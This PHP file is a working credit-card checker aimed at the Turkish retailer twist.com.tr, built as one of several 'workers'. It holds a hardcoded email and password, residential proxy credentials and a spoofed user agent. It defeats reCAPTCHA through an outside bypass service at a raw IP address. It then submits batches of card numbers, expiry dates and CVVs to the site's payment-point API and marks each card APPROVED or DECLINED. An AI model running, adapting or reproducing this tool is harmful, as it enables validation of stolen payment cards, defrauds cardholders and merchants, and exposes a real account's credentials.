<?php
/**
 * WORKER 3 - Twist.com.tr Puan Checker
 * Account: saeed.zyaei@gmail.com (ID: 139737)
 * Proxy: Session-2 (country-tr, session-2)
 * Cookie File: cookie_w3.txt (ISOLATED)
 * User-Agent: Mozilla/5.0 Checker-C
 */

error_reporting(0);
set_time_limit(180);
header('Content-Type: application/json; charset=utf-8');

// WORKER CONFIGURATION - ISOLATED
define('WORKER_ID', 3);
define('WORKER_ACCOUNT', 'saeed.zyaei@gmail.com');
define('WORKER_PASSWORD', 'beautiful1010');
define('WORKER_USERID', '139737');
define('WORKER_COOKIE_FILE', __DIR__ . '/cookie_w3.txt');
define('WORKER_USER_AGENT', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Checker-C');
define('WORKER_PROXY_HOST', 'rp.scrapegw.com:6060');
define('WORKER_PROXY_AUTH', 'ccb7t99f1xa6q6v-country-tr-session-2:e88zmabjie6wuek');

// Thread-safe cookie file lock
function acquireCookieLock() {
    $lockFile = WORKER_COOKIE_FILE . '.lock';
    $fp = fopen($lockFile, 'c+');
    if (!$fp) return null;
    
    if (flock($fp, LOCK_EX)) {
        return $fp;
    }
    fclose($fp);
    return null;
}

function releaseCookieLock($fp) {
    if ($fp) {
        flock($fp, LOCK_UN);
        fclose($fp);
    }
}

function curlRequest($url, $method = 'GET', $headers = [], $postData = null, $cookieFile = null, $debug = false) {
    $ch = curl_init();
    
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_HEADER, true);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2);
    curl_setopt($ch, CURLOPT_TIMEOUT, 180);
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30);
    curl_setopt($ch, CURLOPT_USERAGENT, WORKER_USER_AGENT);
    curl_setopt($ch, CURLOPT_PROXY, WORKER_PROXY_HOST);
    curl_setopt($ch, CURLOPT_PROXYUSERPWD, WORKER_PROXY_AUTH);
    
    if ($method === 'POST') {
        curl_setopt($ch, CURLOPT_POST, true);
        if ($postData !== null) {
            curl_setopt($ch, CURLOPT_POSTFIELDS, $postData);
        }
    }
    
    if (!empty($headers)) {
        curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
    }
    
    if ($cookieFile) {
        curl_setopt($ch, CURLOPT_COOKIEJAR, $cookieFile);
        curl_setopt($ch, CURLOPT_COOKIEFILE, $cookieFile);
    }
    
    $response = curl_exec($ch);
    $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    $headerSize = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
    $error = curl_error($ch);
    
    curl_close($ch);
    
    $headersPart = substr($response, 0, $headerSize);
    $body = substr($response, $headerSize);
    
    if ($debug) {
        error_log("[Worker " . WORKER_ID . "] CURL Response Code: $httpCode");
        error_log("[Worker " . WORKER_ID . "] CURL Body: " . substr($body, 0, 500));
    }
    
    return [
        'headers' => $headersPart,
        'body' => $body,
        'httpCode' => $httpCode,
        'error' => $error
    ];
}

function loginToTwist() {
    $lockFp = acquireCookieLock();
    if (!$lockFp) {
        return ['success' => false, 'error' => 'Failed to acquire cookie lock'];
    }
    
    try {
        // Step 1: Homepage (Initialize session)
        $response1 = curlRequest(
            'https://www.twist.com.tr/',
            'GET',
            [
                'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
                'Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7',
                'Cache-Control: no-cache',
                'Pragma: no-cache'
            ],
            null,
            WORKER_COOKIE_FILE
        );
        
        if ($response1['httpCode'] !== 200) {
            return ['success' => false, 'error' => 'Step 1 failed: HTTP ' . $response1['httpCode']];
        }
        
        usleep(500000); // 500ms delay
        
        // Step 2: Get Anti-Forgery Token from dedicated endpoint
        $response2 = curlRequest(
            'https://www.twist.com.tr/tr/Page/Get/GetAntiForgeryToken',
            'GET',
            [
                'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
                'Referer: https://www.twist.com.tr/'
            ],
            null,
            WORKER_COOKIE_FILE
        );
        
        if ($response2['httpCode'] !== 200) {
            return ['success' => false, 'error' => 'Step 2 failed: HTTP ' . $response2['httpCode']];
        }
        
        // Extract CSRF token from GetAntiForgeryToken response
        if (!preg_match('/name="__RequestVerificationToken"[^>]+value="([^"]+)"/', $response2['body'], $matches)) {
            return ['success' => false, 'error' => 'CSRF token not found in GetAntiForgeryToken'];
        }
        $token = $matches[1];
        
        usleep(800000); // 800ms delay
        
        // Step 3: Get ReCaptcha Token
        $anchor_url = "https://www.google.com/recaptcha/api2/anchor?ar=1&k=6LdkpgUqAAAAACWm1qC_-kRBKlgWbRe_dMJBw2hu&co=aHR0cHM6Ly93d3cudHdpc3QuY29tLnRyOjQ0Mw..&hl=tr&v=TkacYOdEJbdB_JjX802TMer9&size=invisible&cb=sjuqj6uduxpr";
        $bypass_url = "http://193.142.147.218/yenicheckbotaerithia/recpv2apiler/bypass.php?anchor=" . urlencode($anchor_url);
        
        $response3 = curlRequest($bypass_url, 'GET', [], null, null);
        
        if ($response3['httpCode'] !== 200 || empty($response3['body'])) {
            return ['success' => false, 'error' => 'ReCaptcha bypass failed'];
        }
        $recaptcha_token = trim($response3['body']);
        
        usleep(500000); // 500ms delay
        
        // Step 4: Submit Login with multipart/form-data
        $boundary = "----WebKitFormBoundary" . bin2hex(random_bytes(16));
        
        $loginData = "--{$boundary}\r\n";
        $loginData .= "Content-Disposition: form-data; name=\"__RequestVerificationToken\"\r\n\r\n{$token}\r\n";
        $loginData .= "--{$boundary}\r\n";
        $loginData .= "Content-Disposition: form-data; name=\"g-recaptcha-response\"\r\n\r\n{$recaptcha_token}\r\n";
        $loginData .= "--{$boundary}\r\n";
        $loginData .= "Content-Disposition: form-data; name=\"UserNameOrEmail\"\r\n\r\n" . WORKER_ACCOUNT . "\r\n";
        $loginData .= "--{$boundary}\r\n";
        $loginData .= "Content-Disposition: form-data; name=\"Password\"\r\n\r\n" . WORKER_PASSWORD . "\r\n";
        $loginData .= "--{$boundary}--\r\n";
        
        $response4 = curlRequest(
            'https://www.twist.com.tr/tr/LogOn',
            'POST',
            [
                'Content-Type: multipart/form-data; boundary=' . $boundary,
                'Accept: application/json, text/javascript, */*; q=0.01',
                'Origin: https://www.twist.com.tr',
                'Referer: https://www.twist.com.tr/',
                'X-Requested-With: XMLHttpRequest'
            ],
            $loginData,
            WORKER_COOKIE_FILE
        );
        
        if ($response4['httpCode'] !== 200) {
            return ['success' => false, 'error' => 'Login request failed: HTTP ' . $response4['httpCode']];
        }
        
        // Parse JSON response
        $loginResult = json_decode($response4['body'], true);
        if (!isset($loginResult['TempDataActionResult']['ValidationResult']['Success']) || 
            $loginResult['TempDataActionResult']['ValidationResult']['Success'] !== true) {
            $errorMsg = $loginResult['TempDataActionResult']['ValidationResult']['ErrorMessages'][0] ?? 'Unknown error';
            return ['success' => false, 'error' => 'Login validation failed: ' . $errorMsg];
        }
        
        // Login successful
        return ['success' => true];
        
    } finally {
        releaseCookieLock($lockFp);
    }
}

function checkCard($cardDetails) {
    $lockFp = acquireCookieLock();
    if (!$lockFp) {
        return [
            'status' => 'ERROR❌',
            'message' => 'Failed to acquire cookie lock',
            'card' => $cardDetails
        ];
    }
    
    try {
        $parts = explode('|', $cardDetails);
        if (count($parts) < 4) {
            return [
                'status' => 'ERROR❌',
                'message' => 'Invalid card format',
                'card' => $cardDetails
            ];
        }
        
        $cardNumber = $parts[0];
        $expMonth = str_pad($parts[1], 2, '0', STR_PAD_LEFT);
        $expYear = $parts[2];
        $cvv = $parts[3];
        
        // Get ReCaptcha token using bypass service
        $anchor_url = "https://www.google.com/recaptcha/api2/anchor?ar=1&k=6LdkpgUqAAAAACWm1qC_-kRBKlgWbRe_dMJBw2hu&co=aHR0cHM6Ly93d3cudHdpc3QuY29tLnRyOjQ0Mw..&hl=tr&v=TkacYOdEJbdB_JjX802TMer9&size=invisible&anchor-ms=20000&execute-ms=15000&cb=sjuqj6uduxpr";
        $bypass_url = "http://193.142.147.218/yenicheckbotaerithia/recpv2apiler/bypass.php?anchor=" . urlencode($anchor_url);
        
        $recapResp = curlRequest($bypass_url, 'GET', [], null, null);
        
        if ($recapResp['httpCode'] !== 200 || empty($recapResp['body'])) {
            return [
                'status' => 'ERROR❌',
                'message' => 'ReCaptcha bypass failed',
                'card' => $cardDetails
            ];
        }
        
        // Parse JSON response from bypass service
        $recapData = json_decode($recapResp['body'], true);
        $recapToken = $recapData['token'] ?? '';
        
        if (empty($recapToken)) {
            return [
                'status' => 'ERROR❌',
                'message' => 'ReCaptcha token empty',
                'card' => $cardDetails
            ];
        }
        
        // Submit card check request using GetCreditCardPoint API
        $checkData = json_encode([
            "CreditCard" => [
                "Number" => $cardNumber,
                "Owner" => "test user",
                "ExpireYear" => (int)$expYear,
                "ExpireMonth" => (int)$expMonth,
                "CVC" => $cvv
            ],
            "Money" => [
                "Amount" => 2688.95,
                "CurrencyId" => 1
            ],
            "IpAddress" => "127.0.0.1",
            "PaymentProvider" => "CreditCard"
        ]);
        
        $checkResp = curlRequest(
            'https://www.twist.com.tr/tr/Api/Version/1.0/PaymentApi/GetCreditCardPoint',
            'POST',
            [
                'accept: */*',
                'content-type: application/json',
                'userid: ' . WORKER_USERID
            ],
            $checkData,
            WORKER_COOKIE_FILE
        );
        
        // Check for proxy block
        if ($checkResp['httpCode'] == 418 || $checkResp['httpCode'] == 429) {
            return [
                'status' => 'ERROR❌',
                'message' => 'Proxy blocked',
                'card' => $cardDetails
            ];
        }
        
        if ($checkResp['httpCode'] !== 200) {
            return [
                'status' => 'ERROR❌',
                'message' => 'HTTP ' . $checkResp['httpCode'],
                'card' => $cardDetails
            ];
        }
        
        $result = json_decode($checkResp['body'], true);
        
        // Debug: Check actual response structure
        if (isset($result['IsSuccess']) && $result['IsSuccess'] === true) {
            // Try different possible point field locations
            if (isset($result['Point']['Amount'])) {
                $points = $result['Point']['Amount'];
            } elseif (isset($result['Point'])) {
                $points = $result['Point'];
            } elseif (isset($result['Amount'])) {
                $points = $result['Amount'];
            } elseif (isset($result['Data']['Point']['Amount'])) {
                $points = $result['Data']['Point']['Amount'];
            } else {
                // Fallback: return full response for debugging
                $points = 0;
            }
            
            // If points are exactly 0, mark as DECLINED
            if ((int)$points === 0) {
                return [
                    'status' => 'DECLINED❌',
                    'message' => '0₺',
                    'card' => $cardDetails
                ];
            }
            
            return [
                'status' => 'APPROVED✅',
                'message' => ((int)$points) . '₺',
                'card' => $cardDetails
            ];
        } else {
            return [
                'status' => 'DECLINED❌',
                'message' => '0₺',
                'card' => $cardDetails
            ];
        }
        
    } finally {
        releaseCookieLock($lockFp);
    }
}

// MAIN EXECUTION
$input = file_get_contents('php://input');
$data = json_decode($input, true);

if (!$data || !isset($data['cards'])) {
    echo json_encode(['error' => 'Invalid input format']);
    exit;
}

$cards = explode(',', $data['cards']);
$results = [];

// Login once before processing
$loginResult = loginToTwist();
if (!$loginResult['success']) {
    echo json_encode(['error' => $loginResult['error']]);
    exit;
}

// Process each card
foreach ($cards as $card) {
    $card = trim($card);
    if (empty($card)) continue;
    
    $result = checkCard($card);
    $results[] = $result;
    
    usleep(300000); // 300ms between cards
}

echo json_encode([
    'worker_id' => WORKER_ID,
    'results' => $results
]);
